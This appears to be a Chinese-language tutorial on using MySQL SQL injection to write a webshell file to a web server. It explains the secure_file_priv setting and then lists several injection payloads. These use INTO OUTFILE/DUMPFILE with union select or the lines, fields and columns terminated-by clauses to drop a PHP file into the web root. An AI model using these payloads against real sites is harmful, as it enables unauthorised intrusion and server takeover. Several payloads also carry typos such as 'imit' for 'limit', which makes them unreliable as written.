要利用sql写shell就需要在配置中满足以下条件:
my.ini
中,secure_file_priv
为空(被注释掉或不填)或者secure_file_priv
配置是目录地址。关于mysql的secure_file_priv属性得多说几句
当secure_file_priv为空时,mysql对导入导出文件是没有限制的
当secure_file_priv为目录地址时,mysql可以在目录位置下进行导入导出操作
当secure_file_priv为NULL时,mysql就不能进行导入导出操作
使用sql语句select @@secure_file_priv
即可查询参数的内容,从而判断该数据是否可以进行导入导出操作。
下面就进入正题,关于利用sql语句写shell的方法
这个方法是非常常见的方法,在union select 后拼接 into dumpfile
和into outfile
来进行写shell
?id=1’ union select 1,2,’<?php phpinfo();?>’ into dumpfile ‘c:/www/info.php’#
?id=1’ union select 1,2,’<?php phpinfo();?>’ into outfile ‘c:/www/info.php’#
?id=1’ into outfile ‘C:/www/info.php’ lines terminated by ‘<?php phpinfo();?>’#
?id=1’ imit 1 into outfile ‘C:/www/info.php’ lines terminated by ‘<?php phpinfo();?>’#
拼接sql语句后,数据库处理的sql语句
select * from tables where id = 1' into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';
注入原理
通过select语句查询的内容写入文件。
lines terminated by xx
的作用是在每行终止的位置添加xx内容。
?id=1’ into outfile ‘C:/www/info.php’ lines starting by ‘<?php phpinfo();?>’#
?id=1’ imit 1 into outfile ‘C:/www/info.php’ lines starting by ‘<?php phpinfo();?>’#
注入原理
ines starting by xx
可以理解为 以每行开始的位置添加 xx 内容。
?id=1’ into outfile ‘C:/www/info.php’ fields terminated by ‘<?php phpinfo();?>’#
?id=1’ imit 1 into outfile ‘C:/www/info.php’ fields terminated by ‘<?php phpinfo();?>’#
注入原理
fields terminated by xx
可以理解为 以每个字段的位置添加 xx 内容。
?id=1’ into outfile ‘C:/www/info.php’ COLUMNS terminated by ‘<?php phpinfo();?>’#
?id=1’ imit 1 into outfile ‘C:/www/info.php’ COLUMNS terminated by ‘<?php phpinfo();?>’#
注入原理
COLUMNS terminated by xx
可以理解为以每列的位置添加 xx 内容。